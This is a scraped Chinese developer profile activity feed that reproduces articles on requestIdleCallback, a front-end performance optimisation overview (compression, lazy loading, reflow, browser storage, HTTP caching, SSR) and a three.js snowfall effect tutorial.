我仍旧在这里

我仍旧在这里 查看完整档案

北京编辑  |  填写毕业院校四十大盗  |  web前端工程师 编辑 supperjet.github.io 编辑
编辑

buona notte a te buona notte a me buona notte achi ancora non ho incontrato...
向你说声晚安,向自己说声晚安,向还没遇见的人说声晚安...

个人动态

我仍旧在这里 关注了专栏 · 2019-07-01

从零到一

从零到一系列,旨于用详尽的示例、直白的说明来引导前端开发者快速上手一门前端技术。

关注 128

我仍旧在这里 收藏了文章 · 2019-03-11

你应该知道的requestIdleCallback

我们都知道React 16实现了新的调度策略(Fiber), 新的调度策略提到的异步、可中断,其实就是基于浏览器的 requestIdleCallback和requestAnimationFrame两个API。所以这里我们有必要了解一下这两个API,关于Fiber部分后面会单开几篇讲。

什么是requestIdleCallback?

当关注用户体验,不希望因为一些不重要的任务(如统计上报)导致用户感觉到卡顿的话,就应该考虑使用requestIdleCallback。因为requestIdleCallback回调的执行的前提条件是当前浏览器处于空闲状态。

requestIdleCallback will schedule work when there is free time at the end of a frame, or when the user is inactive.

requestIdleCallback用法示例

    requestIdleCallback(myNonEssentialWork);
    
    
    function myNonEssentialWork (deadline) {
    
      // deadline.timeRemaining()可以获取到当前帧剩余时间
      while (deadline.timeRemaining() > 0 && tasks.length > 0) {
        doWorkIfNeeded();
      }
      if (tasks.length > 0){
        requestIdleCallback(myNonEssentialWork);
      }
    }

requestIdleCallback和requestAnimationFrame有什么区别?

requestAnimationFrame的回调会在每一帧确定执行,属于高优先级任务,而requestIdleCallback的回调则不一定,属于低优先级任务。
我们所看到的网页,都是浏览器一帧一帧绘制出来的,通常认为FPS为60的时候是比较流畅的,而FPS为个位数的时候就属于用户可以感知到的卡顿了,那么在一帧里面浏览器都要做哪些事情呢,如下所示:

图片描述

图中一帧包含了用户的交互、js的执行、以及requestAnimationFrame的调用,布局计算以及页面的重绘等工作。
假如某一帧里面要执行的任务不多,在不到16ms(1000/60)的时间内就完成了上述任务的话,那么这一帧就会有一定的空闲时间,这段时间就恰好可以用来执行requestIdleCallback的回调,如下图所示:

图片描述
当程序栈为空页面无需更新的时候,浏览器其实处于空闲状态,这时候留给requestIdleCallback执行的时间就可以适当拉长,最长可达到50ms,以防出现不可预测的任务(用户输入)来临时无法及时响应可能会引起用户感知到的延迟。
image00.png

由于requestIdleCallback利用的是帧的空闲时间,所以就有可能出现浏览器一直处于繁忙状态,导致回调一直无法执行,这其实也并不是我们期望的结果(如上报丢失),那么这种情况我们就需要在调用requestIdleCallback的时候传入第二个配置参数timeout了?

requestIdleCallback(myNonEssentialWork, { timeout: 2000 });

function myNonEssentialWork (deadline) {
  // 当回调函数是由于超时才得以执行的话,deadline.didTimeout为true
  while ((deadline.timeRemaining() > 0 || deadline.didTimeout) &&
         tasks.length > 0) {
       doWorkIfNeeded();
    }
  if (tasks.length > 0) {
    requestIdleCallback(myNonEssentialWork);
  }
}

如果是因为timeout回调才得以执行的话,其实用户就有可能会感觉到卡顿了,因为一帧的执行时间必然已经超过16ms了

requestIdleCallback里面可以执行DOM修改操作吗?

强烈建议不要,从上面一帧的构成里面可以看到,requestIdleCallback回调的执行说明前面的工作(包括样式变更以及布局计算)都已完成。如果我们在callback里面做DOM修改的话,之前所做的布局计算都会失效,而且如果下一帧里有获取布局(如getBoundingClientRect、clientWidth)等操作的话,浏览器就不得不执行强制重排工作,这会极大的影响性能,另外由于修改dom操作的时间是不可预测的,因此很容易超出当前帧空闲时间的阈值,故而不推荐这么做。推荐的做法是在requestAnimationFrame里面做dom的修改,可以在requestIdleCallback里面构建Document Fragment,然后在下一帧的requestAnimationFrame里面应用Fragment。

除了不推荐DOM修改操作外,Promise的resolve(reject)操作也不建议放在里面,因为Promise的回调会在idle的回调执行完成后立刻执行,会拉长当前帧的耗时,所以不推荐。

推荐放在requestIdleCallback里面的应该是小块的(microTask)并且可预测时间的任务。关于microTask推荐看这里

requestIdleCallback的兼容情况

图片描述
推荐使用npm包request-idle-callback

参考资料

https://developers.google.com...
https://medium.com/@paul_iris...
https://juejin.im/entry/59082...
https://insights.thoughtworks...

查看原文

我仍旧在这里 赞了文章 · 2019-02-25

web前端性能优化总结

概括

涉及到的分类

  • 网络层面
  • 构建层面
  • 浏览器渲染层面
  • 服务端层面

涉及到的功能点

  • 资源的合并与压缩
  • 图片编解码原理和类型选择
  • 浏览器渲染机制
  • 懒加载预加载
  • 浏览器存储
  • 缓存机制
  • PWA
  • Vue-SSR

资源合并与压缩

http请求的过程及潜在的性能优化点

  • 理解减少http请求数量减少请求资源大小两个优化要点
  • 掌握压缩合并的原理
  • 掌握通过在线网站fis3两种实现压缩与合并的方法

浏览器的一个请求从发送到返回都经历了什么

动态的加载静态的资源

  • dns是否可以通过缓存减少dns查询时间
  • 网络请求的过程走最近的网络环境
  • 相同的静态资源是否可以缓存
  • 能否减少http请求大小
  • 能否减少http请求数量
  • 服务端渲染

资源的合并与压缩设计到的性能点

  • 减少http请求的数量
  • 减少请求的大小

html压缩

HTML代码压缩就是压缩这些在文本文件中有意义,但是在HTML中不显示的字符,包括空格,制表符,换行符等,还有一些其他意义的字符,如HTML注释也可以被压缩

意义

  • 大型网站意义比较大

如何进行html的压缩

  • 使用在线网站进行压缩(走构建工具多,公司级在线网站手动压缩小)
  • node.js提供了html-minifier工具
  • 后端模板引擎渲染压缩

cssjs压缩

css的压缩

  • 无效代码删除

    • 注释、无效字符
  • css语义合并

css压缩的方式

  • 使用在线网站进行压缩
  • 使用html-minifierhtml中的css进行压缩
  • 使用clean-csscss进行压缩

js的压缩语混乱

  • 无效字符的删除

    • 空格、注释、回车等
  • 剔除注释
  • 代码语意的缩减和优化

    • 变量名缩短(a,b)等
  • 代码保护

    • 前端代码是透明的,客户端代码用户是可以直接看到的,可以轻易被窥探到逻辑和漏洞

js压缩的方式

  • 使用在线网站进行压缩
  • 使用html-minifierhtml中的js进行压缩
  • 使用uglifyjs2js进行压缩

不合并文件可能存在的问题

  • 文件与文件有插入之间的上行请求,又增加了N-1个网络延迟
  • 受丢包问题影响更严重
  • 经过代理服务器时可能会被断开

文件合并缺点

  • 首屏渲染问题

    • 文件合并之后的js变大,如果首页的渲染依赖这个js的话,整个页面的渲染要等js请求完才能执行
    • 如果首屏只依赖a.js,只要等a.js完成后就可执行
    • 没有通过服务器端渲染,现在框架都需要等合并完的文件请求完才能执行,基本都需要等文件合并后的js
  • 缓存失效问题

    • 标记 js`md5`戳
    • 合并之后的js,任何一个改动都会导致大面积的缓存失效

文件合并对应缺点的处理

  • 公共库合并
  • 不同页面的合并

    • 不同页面js单独打包
  • 见机行事,随机应变

文件合并对应方法

  • 使用在线网站进行合并
  • 构建阶段,使用nodejs进行文件合并

图片相关优化

一张JPG的解析过程


jpg有损压缩:虽然损失一些信息,但是肉眼可见影响并不大

png8/png24/png32之间的区别

  • png8   ----256色 + 支持透明
  • png24 ----2^24 + 不支持透明
  • png32  ---2^24 +支持透明

文件大小 + 色彩丰富程度

png32是在png24上支持了透明,针对不同的业务场景选择不同的图片格式很重要

不同的格式图片常用的业务场景

不同格式图片的特点

  • jpg有损压缩,压缩率高,不支持透明
  • png支持透明,浏览器兼容性好
  • webp压缩程度更好,在ios webview中有兼容性问题
  • svg矢量图,代码内嵌,相对较小,图片样式相对简单的场景(尽量使用,绘制能力有限,图片简单用的比较多)

不同格式图片的使用场景

  • jpg:大部分不需要透明图片的业务场景
  • png:大部分需要透明图片的业务场景
  • webpandroid全部(解码速度和压缩率高于jpgpng,但是iossafari还没支持)
  • svg:图片样式相对简单的业务场景

图片压缩的几种情况

  • 针对真实图片情况,舍弃一些相对无关紧要的色彩信息
  • CSS雪碧图:把你的网站用到的一些图片整合到一张单独的图片中

    • 优点:减少HTTP请求的数量(通过backgroundPosition定位所需图片)
    • 缺点:整合图片比较大时,加载比较慢(如果这张图片没有加载成功,整个页面会失去图片信息)facebook官网任然在用,主要pc用的比较多,相对性能比较强
  • Image-inline:将图片的内容嵌到html中(减少网站的HTTP请求)

    • base64信息,减少网站的HTTP请求,如果图片比较小比较多,时间损耗主要在请求的骨干网络
  • 使用矢量图

    • 使用SVG进行矢量图的绘制
    • 使用icon-font解决icon问题
  • 在android下使用webp

    • webp的优势主要体现在它具有更优的图像数据压缩算法,能带来更小的图片体积,而且拥有肉眼识别无差异的图像质量;
    • 同时具备了无损和有损的压缩模式、Alpha透明以及动画的特性,在JPEGPNG上的转化效果都非常优秀、稳定和统一

cssjs的装载与执行

HTML页面加载渲染的过程

一个网站在浏览器端是如何进行渲染的

HTML渲染过程中的一些特点

  • 顺序执行,并发加载

    • 词法分析:从上到下依次解析

      • 通过HTML生成Token对象(当前节点的所有子节点生成后,才会通过next token获取到当前节点的兄弟节点),最终生成Dom Tree
    • 并发加载:资源请求是并发请求的
    • 并发上限

      • 浏览器中可以支持并发请求,不同浏览器所支持的并发数量不同(以域名划分),以Chrome为例,并发上限为6个
      • 优化点: 把CDN资源分布在多个域名下
  • 是否阻塞

    • css阻塞

      • csshead中通过link引入会阻塞页面的渲染

        • 如果我们把css代码放在head中去引入的话,那么我们整个页面的渲染实际上就会等待headcss加载并生成css树,最终和DOM整合生成RanderTree之后才会进行渲染
        • 为了浏览器的渲染,能让页面显示的时候视觉上更好。

避免某些情况,如:假设你放在页面最底部,用户打开页面时,有可能出现,页面先是显示一大堆文字或图片,自上而下,丝毫没有排版和样式可言。最后,页面又恢复所要的效果

    - `css`不阻塞`js`的加载,但阻塞`js`的执行
    - `css`不阻塞外部脚步的加载(`webkit preloader 预资源加载器`)
- `js`阻塞
    -  直接通过`<script src>`引入会阻塞后面节点的渲染
        -  `html parse`认为`js`会动态修改文档结构(`document.write`等方式),没有进行后面文档的变化
        -  `async`、`defer`(`async`放弃了依赖关系)
            - `defer`属性(`<script data-original="" defer></script>`) 

(这是延迟执行引入的js脚本(即脚本加载是不会导致解析停止,等到document全部解析完毕后,defer-script也加载完毕后,在执行所有的defer-script加载的js代码,再触发Domcontentloaded

            - `async`属性(`<script data-original="" async></script>`) 
                - 这是异步执行引入的`js`脚本文件 
                - 与`defer`的区别是`async`会在加载完成后就执行,但是不会影响阻塞到解析和渲染。但是还是会阻塞`load`事件,所以`async-script`会可能在`DOMcontentloaded`触发前或后执行,但是一定会在`load`事件前触发。



懒加载与预加载

懒加载

  • 图片进入可视区域之后请求图片资源
  • 对于电商等图片很多,页面很长的业务场景适用
  • 减少无效资源的加载
  • 并发加载的资源过多会会阻塞js的加载,影响网站的正常使用

img src被设置之后,webkit解析到之后才去请求这个资源。所以我们希望图片到达可视区域之后,img src才会被设置进来,没有到达可视区域前并不现实真正的src,而是类似一个1px的占位符。

场景:电商图片

预加载

  • 图片等静态资源在使用之前的提前请求
  • 资源使用到时能从缓存中加载,提升用户体验
  • 页面展示的依赖关系维护

场景:抽奖

懒加载原生jszepto.lazyload

原理

先将img标签中的src链接设为同一张图片(空白图片),将其真正的图片地址存储再img标签的自定义属性中(比如data-src)。当js监听到该图片元素进入可视窗口时,即将自定义属性中的地址存储到src属性中,达到懒加载的效果。

注意问题:
  • 关注首屏处理,因为还没滑动
  • 占位,图片大小首先需要预设高度,如果没有设置的话,会全部显示出来

var viewheight = document.documentElement.clientHeight   //可视区域高度

function lazyload(){
    var eles = document.querySelectorAll('img[data-original][lazyload]')

    Array.prototype.forEach.call(eles,function(item,index){
        var rect;
        if(item.dataset.original === '') return;
        rect = item.getBoundingClientRect(); //返回元素的大小及其相对于视口的

        if(rect.bottom >= 0 && rect.top < viewheight){
            !function(){
                var img = new Image();
                img.src = item.dataset.url;
                img.onload = function(){
                    item.src = img.src
                }
                item.removeAttribute('data-original');
                item.removeAttribute('lazyload');
            }()
        }
    })
}

lazyload()
document.addEventListener('scroll',lazyload)

预加载原生jspreloadJS实现

预加载实现的几种方式

  • 第一种方式:直接请求下来
<img data-original="https://user-gold-cdn.xitu.io/2019/2/21/1690d1b216cbfa18" style="display: none"/>
<img data-original="https://user-gold-cdn.xitu.io/2019/2/21/1690d1b21b70c8d2" style="display: none"/>
<img data-original="https://user-gold-cdn.xitu.io/2019/2/21/1690d1b216e17e26" style="display: none"/>
<img data-original="https://user-gold-cdn.xitu.io/2019/2/21/1690d1b217b3ae59" style="display: none"/>
  • 第二种方式:image对象
var image = new Image();
image.src = "www.pic26.com/dafdafd/safdas.jpg";
  • 第三种方式:xmlhttprequest

    • 缺点:存在跨域问题
    • 优点:好控制
var xmlhttprequest = new XMLHttpRequest();

xmlhttprequest.onreadystatechange = callback;

xmlhttprequest.onprogress = progressCallback;

xmlhttprequest.open("GET","http:www.xxx.com",true);

xmlhttprequest.send();

function callback(){
    if(xmlhttprequest.readyState == 4 && xmlhttprequest.status == 200){
        var responseText = xmlhttprequest.responseText;
    }else{
        console.log("Request was unsuccessful:" + xmlhttprequest.status);
    }
}

function progressCallback(){
    e = e || event;
    if(e.lengthComputable){
        console.log("Received"+e.loaded+"of"+e.total+"bytes")
    }
}   

 

PreloadJS模块

  • 本质权衡浏览器加载能力,让它尽可能饱和利用起来

重绘与回流

css性能让javascript变慢

要把css相关的外部文件引入放进head中,加载css时,整个页面的渲染是阻塞的,同样的执行javascript代码的时候也是阻塞的,例如javascript死循环。

一个线程   =>  javascript解析
一个线程   =>  UI渲染

这两个线程是互斥的,当UI渲染的时候,javascript的代码被终止。当javascript代码执行,UI线程被冻结。所以css的性能让javascript变慢。

频繁触发重绘与回流,会导致UI频繁渲染,最终导致js变慢

什么是重绘和回流

回流

  • render tree中的一部分(或全部)因为元素的规模尺寸布局隐藏等改变而需要重新构建。这就成为回流(reflow)
  • 页面布局和几何属性改变时,就需要回流

重绘

  • render tree中的一些元素需要更新属性,而这些属性只是影响元素的外观风格,而不影响布局,比如background-color。就称重绘

关系

用到chrome 分析 performance

回流必将引起重绘,但是重绘不一定会引起回流

避免重绘、回流的两种方法

触发页面重布局的一些css属性

  • 盒子模型相关属性会触发重布局

    • width
    • height
    • padding
    • margin
    • display
    • border-width
    • border
    • min-height
  • 定位属性及浮动也会触发重布局

    • top
    • bottom
    • left
    • right
    • position
    • float
    • clear
  • 改变节点内部文字结构也会触发重布局
  • text-align
  • overflow-y
  • font-weight
  • overflow
  • font-family
  • line-height
  • vertical-align
  • white-space
  • font-size

优化点:使用不触发回流的方案替代触发回流的方案

只触发重绘不触发回流

  • color
  • border-styleborder-radius
  • visibility
  • text-decoration
  • backgroundbackground-imagebackground-positionbackground-repeatbackground-size
  • outlineoutline-coloroutline-styleoutline-width
  • box-shadow

新建DOM的过程

  • 获取DOM后分割为多个图层
  • 对每个图层的节点计算样式结果(Recalculate style 样式重计算)
  • 为每个节点生成图形和位置(Layout 回流和重布局)
  • 将每个节点绘制填充到图层位图中(Paint SetupPaint重绘)
  • 图层作为纹理上传至gpu
  • 符合多个图层到页面上生成最终屏幕图像(Composite Layers 图层重组)

浏览器绘制DOM的过程是这样子的:

  • 获取 DOM 并将其分割为多个层(layer),将每个层独立地绘制进位图(bitmap)中
  • 将层作为纹理(texture)上传至 GPU,复合(composite)多个层来生成最终的屏幕图像
  • left/top/margin之类的属性会影响到元素在文档中的布局,当对布局(layout)进行动画时,该元素的布局改变可能会影响到其他元素在文档中的位置,就导致了所有被影响到的元素都要进行重新布局,浏览器需要为整个层进行重绘并重新上传到 GPU,造成了极大的性能开销。
  • transform 属于合成属性(composite property),对合成属性进行 transition/animation 动画将会创建一个合成层(composite layer),这使得被动画元素在一个独立的层中进行动画。
  • 通常情况下,浏览器会将一个层的内容先绘制进一个位图中,然后再作为纹理(texture)上传到 GPU,只要该层的内容不发生改变,就没必要进行重绘(repaint),浏览器会通过重新复合(recomposite)来形成一个新的帧。

chrome创建图层的条件

将频繁重绘回流的DOM元素单独作为一个独立图层,那么这个DOM元素的重绘和回流的影响只会在这个图层中

  • 3D或透视变换
  • CSS 属性使用加速视频解码的 <video> 元素
  • 拥有 3D (WebGL) 上下文或加速的
  • 2D 上下文的 <canvas> 元素
  • 复合插件(如 Flash)
  • 进行 opacity/transform 动画的元素拥有加速
  • CSS filters 的元素元素有一个包含复合层的后代节点(换句话说,就是一个元素拥有一个子元素,该子元素在自己的层里)
  • 元素有一个 z-index 较低且包含一个复合层的兄弟元素(换句话说就是该元素在复合层上面渲染)
总结:对布局属性进行动画,浏览器需要为每一帧进行重绘并上传到 GPU 中对合成属性进行动画,浏览器会为元素创建一个独立的复合层,当元素内容没有发生改变,该层就不会被重绘,浏览器会通过重新复合来创建动画帧

gif图

总结

  • 尽量避免使用触发回流重绘CSS属性
  • 重绘回流的影响范围限制在单独的图层(layers)之内
  • 图层合成过程中消耗很大页面性能,这时候需要平衡考虑重绘回流的性能消耗

实战优化点总结

  • translate替代top属性

    • top会触发layout,但translate不会
  • opacity代替visibility

    • opacity不会触发重绘也不会触发回流,只是改变图层alpha值,但是必须要将这个图片独立出一个图层
    • visibility会触发重绘
  • 不要一条一条的修改DOM的样式,预先定义好class,然后修改DOMclassName
  • 把DOM离线后修改,比如:先把DOMdisplay:none(有一次reflow),然后你修改100次,然后再把它显示出来
  • 不要把DOM节点的属性值放在一个循环里当成循环的变量

    • offsetHeightoffsetWidth每次都要刷新缓冲区,缓冲机制被破坏
    • 先用变量存储下来
  • 不要使用table布局,可能很小的一个小改动会造成整个table的重新布局

    • div只会影响后续样式的布局
  • 动画实现的速度的选择

    • 选择合适的动画速度
    • 根据performance量化性能优化
  • 对于动画新建图层

    • 启用gpu硬件加速(并行运算),gpu加速意味着数据需要从cpu走总线到gpu传输,需要考虑传输损耗.

      • transform:translateZ(0)
      • transform:translate3D(0)

浏览器存储

cookies

多种浏览器存储方式并存,如何选择?

  • 因为http请求无状态,所以需要cookie去维持客户端状态
  • cookie的生成方式:

    • http-->response header-->set-cookie
    • js中可以通过document.cookie可以读写cookie
    • cookie的使用用处:

      • 用于浏览器端和服务器端的交互(用户状态)
      • 客户端自身数据的存储
  • expire:过期时间
  • cookie的限制:

    • 作为浏览器存储,大小4kb左右
    • 需要设置过期时间 expire
  • 重要属性:httponly 不支持js读写(防止收到模拟请求攻击)
  • 不太作为存储方案而是用于维护客户关系
  • 优化点:cookie中在相关域名下面

    • cdn的流量损耗
    • 解决方案:cdn的域名和主站域名要分开

localStorage

localstorage

  • HTML5设计出来专门用于浏览器存储的
  • 大小为5M左右
  • 仅在客户端使用,不和服务端进行通信
  • 接口封装较好
  • 浏览器本地缓存方案

sessionstorage

  • 会话级别的浏览器存储
  • 大小为5M左右
  • 仅在客户端使用,不和服务器端进行通信
  • 接口封装较好
  • 对于表单信息的维护

indexedDB

  • IndexedDB是一种低级API,用于客户端存储大量结构化数据。该API使用索引来实现对该数据的高性能搜索。虽然Web
  • Storage对于存储叫少量的数据很管用,但对于存储更大量的结构化数据来说,这种方法不太有用。IndexedDB提供了一个解决方案。

为应用创建离线版本

  • cdn域名不要带cookie
  • localstorage存库、图片

cookie种在主站下,二级域名也会携带这个域名,造成流量的浪费

Service Worker产生的意义

PWAService Worker

  • PWA(Progressive Web Apps)是一种Web App新模型,并不是具体指某一种前言的技术或者某一个单一的知识点,我们从英文缩写来看就能看出来,这是一个渐进式的Web App,是通过一系列新的Web特性,配合优秀的UI交互设计,逐步增强Web App的用户体验

PWAService worker

chrome 插件 lighthouse

检测是不是一个渐进式web app
  • 当前手机在弱网环境下能不能加载出来
  • 离线环境下能不能加载出来
特点
  • 可靠:没有网络的环境中也能提供基本的页面访问,而不会出现“未连接到互联网”的页面
  • 快速:针对网页渲染及网络数据访问有较好的优化
  • 融入(Engaging):应用可以被增加到手机桌面,并且和普通应用一样有全屏、推送等特性

service worker

service worker是一个脚本,浏览器独立于当前页面,将其在后台运行,为实现一些不依赖页面的或者用户交互的特性打开了一扇大门。在未来这些特性将包括消息推送,背景后台同步,geofencing(地理围栏定位),但他将推出的第一个首要的特性,就是拦截和处理网络请求的能力,包括以编程方式来管理被缓存的响应。

案例分析

Service Worker学习与实践

了解servie worker

chrome://serviceworker-internals/

chrome://inspect/#service-worker/

service worker网络拦截能力,存储Cache Storage,实现离线应用

indexedDB

callback && callback()写法
相当于 
if(callback){
   callback();
}

cookiesessionlocalStoragesessionStorage基本操作

indexedDB基本操作

object store:对象存储
本身就是结构化存储
 function openDB(name, callback) {
            //建立打开indexdb  indexedDB.open
            var request = window.indexedDB.open(name)
            request.onerror = function(e) {
                console.log('on indexedDB error')
            }
            request.onsuccess = function(e) {
                    myDB.db = e.target.result
                    callback && callback()
                }
                //from no database to first version,first version to second version...
            request.onupgradeneeded = function() {
                console.log('created')
                var store = request.result.createObjectStore('books', {
                    keyPath: 'isbn'
                })
                console.log(store)
                var titleIndex = store.createIndex('by_title', 'title', {
                    unique: true
                })
                var authorIndex = store.createIndex('by_author', 'author')

                store.put({
                    title: 'quarry memories',
                    author: 'fred',
                    isbn: 123456
                })
                store.put({
                    title: 'dafd memories',
                    author: 'frdfaded',
                    isbn: 12345
                })
                store.put({
                    title: 'dafd medafdadmories',
                    author: 'frdfdsafdafded',
                    isbn: 12345434
                })
            }
        }
        var myDB = {
            name: 'tesDB',
            version: '2.0.1',
            db: null
        }

        function addData(db, storeName) {

        }

        openDB(myDB.name, function() {
            // myDB.db = e.target.result
            // window.indexedDB.deleteDatabase(myDB.name)
        });

        //删除indexedDB

indexDB事务

transcationobject store建立关联关系来操作object store
建立之初可以配置

 var transcation = db.transcation('books', 'readwrite')
 var store = transcation.objectStore('books')

 var data =store.get(34314)
 store.delete(2334)
 store.add({
     title: 'dafd medafdadmories',
     author: 'frdfdsafdafded',
     isbn: 12345434
 })

Service Worker离线应用

serviceworker需要https协议

如何实现ServiceWorker与主页面之间的通信

lavas

缓存

期望大规模数据能自动化缓存,而不是手动进行缓存,需要浏览器端和服务器端协商一种缓存机制

  • Cache-Control所控制的缓存策略
  • last-modified 和 etage以及整个服务端浏览器端的缓存流程
  • 基于node实践以上缓存方式

httpheader

可缓存性

  • public:表明响应可以被任何对象(包括:发送请求的客户端,代理服务器,等等)缓存。
  • private:表明响应只能被单个用户缓存,不能作为共享缓存(即代理服务器不能缓存它)。
  • no-cache:强制所有缓存了该响应的缓存用户,在使用已存储的缓存数据前,发送带验证器的请求到原始服务器
  • only-if-cached:表明如果缓存存在,只使用缓存,无论原始服务器数据是否有更新

到期

  • max-age=<seconds>:设置缓存存储的最大周期,超过这个时间缓存被认为过期(单位秒)。与 Expires相反,时间是相对于请求的时间。
  • s-maxage=<seconds>:覆盖max-age 或者 Expires 头,但是仅适用于共享缓存(比如各个代理),并且私有缓存中它被忽略。cdn缓存
  • max-stale[=<seconds>]

表明客户端愿意接收一个已经过期的资源。 可选的设置一个时间(单位秒),表示响应不能超过的过时时间。

  • min-fresh=<seconds>

表示客户端希望在指定的时间内获取最新的响应。

重新验证重新加载

重新验证
  • must-revalidate:缓存必须在使用之前验证旧资源的状态,并且不可使用过期资源。
  • proxy-revalidate:与must-revalidate作用相同,但它仅适用于共享缓存(例如代理),并被私有缓存忽略。
  • immutable :表示响应正文不会随时间而改变。资源(如果未过期)在服务器上不发生改变,因此客户端不应发送重新验证请求头(例如If-None-MatchIf-Modified-Since)来检查更新,即使用户显式地刷新页面。在Firefox中,immutable只能被用在 https:// transactions.
重新加载
  • no-store:缓存不应存储有关客户端请求或服务器响应的任何内容。
  • no-transform:不得对资源进行转换或转变。Content-Encoding, Content-Range, Content-TypeHTTP头不能由代理修改。例如,非透明代理可以对图像格式进行转换,以便节省缓存空间或者减少缓慢链路上的流量。 no-transform指令不允许这样做。

Expires

  • 缓存过期时间,用来指定资源到期的时间,是服务器端的时间点
  • 告诉浏览器在过期时间前浏览器可以直接从浏览器缓存中存取数据,而无需再次请求
  • expireshttp1.0的时候的
  • http1.1时候,我们希望cache的管理统一进行,max-age优先级高于expires,当有max-age在的时候expires可能就会被忽略。
  • 如果没有设置cache-control时候会使用expires

Last-modifiedIf-Modified-since

  • 基于客户端和服务器端协商的缓存机制
  • last-modified --> response header

    if-modified-since --> request header
  • 需要与cache-control共同使用
last-modified有什么缺点?
  • 某些服务端不能获取精确的修改时间
  • 文件修改时间改了,但文件的内容却没有变

EtagIf-none-match

  • 文件内容的hash值
  • etag -->reponse header

    if-none-match -->request header
  • 需要与cache-control共同使用

好处:

  • if-modified-since更加准确
  • 优先级比etage更高

流程图


enter image description here

服务端性能优化

服务端用的node.js因为和前端用的同一种语言,可以利用服务端运算能力来进行相关的运算而减少前端的运算

  • vue渲染遇到的问题
  • vue-ssr和原理和引用

vue渲染面临的问题

    先加载vue.js
=>  执行vue.js代码
=>  生成html
以前没有前端框架时,
  • jsp/php在服务端进行数据的填充,发送给客户端就是已经填充好数据`的html
  • 使用jQuery异步加载数据
  • 使用ReactVue前端框架

    • 代价:需要框架全部加载完,才能把页面渲染出来,页面的首屏性能不好

多层次的优化方案

  • 构建层的模板编译。runtime,compile拆开,构建层做模板编译工作。webpack构建时候,统一,直接编译成runtime可以执行的代码
  • 数据无关的prerender的方式
  • 服务端渲染

查看原文

赞 239 收藏 196 评论 1

我仍旧在这里 关注了专栏 · 2019-02-23

前端小站

web, 前端, javascript, nodejs, electron, babel, webpack, rollup, react, vue ...

关注 2136

我仍旧在这里 评论了文章 · 2019-01-22

记一次雪花效果

前言

最近,公司UI小姐姐告诉我能不能做一个关于雪花的效果图,最好是能体现雪花的远近感(远的时候比较小 近的时候雪花比较大),我寻思良久,一开始用canvas做了一个雪花效果 感觉不是很满意,然后就该用了three.js做了一个关于雪花的效果。效果还行 给大家先看一下效果。

雪花整体效果

1:准备工作

为了能够显示任何带有three.js的东西,我们需要三件事:场景,相机和渲染器,这样我们就可以用相机渲染场景
代码:

function init() {
  container = document.createElement('div');
  container.className = 'snow';
    document.body.appendChild(container);
    camera = new THREE.PerspectiveCamera( 75, SCREEN_WIDTH / SCREEN_HEIGHT, 1, 10000 ); //透视投影相机
    camera.position.z = 1000;
    scene = new THREE.Scene();
    scene.add(camera);
    renderer = new THREE.CanvasRenderer();
    renderer.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
    // console.log(SCREEN_WIDTH, SCREEN_HEIGHT);
    var material = new THREE.ParticleBasicMaterial( { map: new THREE.Texture(particleImage) } );

2:随机生成不同位置一定数量的雪花

for (var i = 0; i < 200; i++) {
        particle = new Particle3D( material);
        particle.position.x = Math.random() * 2000 - 1000;
        particle.position.y = Math.random() * 2000 - 1000;
        particle.position.z = Math.random() * 2000 - 1000;
        particle.scale.x = particle.scale.y =  1;
        scene.add( particle );
        particles.push(particle); 
    }

进行雪花位置优化

for(var i = 0; i < particles.length; i++)
    {
        var particle = particles[i]; 
        particle.updatePhysics(); 
        with(particle.position)
        {
            if(y < -1000) y += 2000; 
            if(x > 1000) x -= 2000; 
            else if(x <- 1000) x += 2000; 
            if(z > 1000) z -= 2000; 
            else if(z <- 1000) z += 2000; 
        }
    }

3:雪花远小近大的效果

雪花的远小近大的效果是通过改变相机的位置来的

    camera.position.x += (mouseX - camera.position.x ) * 0.05;
    camera.position.y += (- mouseY - camera.position.y ) * 0.05;
    camera.lookAt(scene.position); 
    renderer.render( scene, camera );

4:雪花的自由下落

这里是利用了gravity重力,让他下落的,我们也可以通过改变它的大小来改变速度。

Particle3D = function(material){
    THREE.Particle.call(this,material);
    this.velocity = new THREE.Vector3(0,-8,0);
    this.velocity.rotateX(randomRange(-45,45));
    this.velocity.rotateY(randomRange(0,360));
    this.gravity = new THREE.Vector3(0,0,0);
    this.drag=1;
};
Particle3D.prototype = new THREE.Particle();
Particle3D.prototype.constructor = Particle3D;
Particle3D.prototype.updatePhysics = function(){
    this.velocity.multiplyScalar(this.drag);
    this.velocity.addSelf(this.gravity);
    this.position.addSelf(this.velocity);
}

5:雪花旋转效果

至于雪花的旋转我也做了一定的优化

THREE.Vector3.prototype.rotateY=function(angle){
    cosRY = Math.cos(angle * Math.PI/180);
    sinRY = Math.sin(angle * Math.PI/180);
    var tempz = this.z;;
    var tempx = this.x;
    this.x = (tempx * cosRY) + (tempz * sinRY);
    this.z = (tempx * -sinRY) + (tempz * cosRY);
}

活动页

活动页效果就不细细说了,我就把雪花效果添加进去活动页。使用pointer-events:none,表示它将捕获不到任何点击,而只是让事件穿透到它的下面。

 .snow {
        position: fixed;
        top: 0;
        left: 0;
        z-index: 10000;
        transform: translate3d(0, 0, 0);
        width: 100%;
        height: 100%;
        pointer-events: none;
      }

其他

这个活动页还有一个问题,就是按住屏幕(往下轻滑),雪就卡住了一小会希望有大佬来帮我解决这个问题。鄙人不胜感激。

总结

作为一个即将毕业的大四学生,这是我来公司实习做的第一个活动页,希望可以帮助大家,互相学习,一起进步。当然也有一些不足之处,请大家多多指教。如果大家有什么好的想法的话可以联系我的qq:137032979.码字不容易,希望大家点个赞。前端路漫漫,与君共勉之。

查看原文

我仍旧在这里 评论了文章 · 2019-01-22

记一次雪花效果

前言

最近,公司UI小姐姐告诉我能不能做一个关于雪花的效果图,最好是能体现雪花的远近感(远的时候比较小 近的时候雪花比较大),我寻思良久,一开始用canvas做了一个雪花效果 感觉不是很满意,然后就该用了three.js做了一个关于雪花的效果。效果还行 给大家先看一下效果。

雪花整体效果

1:准备工作

为了能够显示任何带有three.js的东西,我们需要三件事:场景,相机和渲染器,这样我们就可以用相机渲染场景
代码:

function init() {
  container = document.createElement('div');
  container.className = 'snow';
    document.body.appendChild(container);
    camera = new THREE.PerspectiveCamera( 75, SCREEN_WIDTH / SCREEN_HEIGHT, 1, 10000 ); //透视投影相机
    camera.position.z = 1000;
    scene = new THREE.Scene();
    scene.add(camera);
    renderer = new THREE.CanvasRenderer();
    renderer.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
    // console.log(SCREEN_WIDTH, SCREEN_HEIGHT);
    var material = new THREE.ParticleBasicMaterial( { map: new THREE.Texture(particleImage) } );

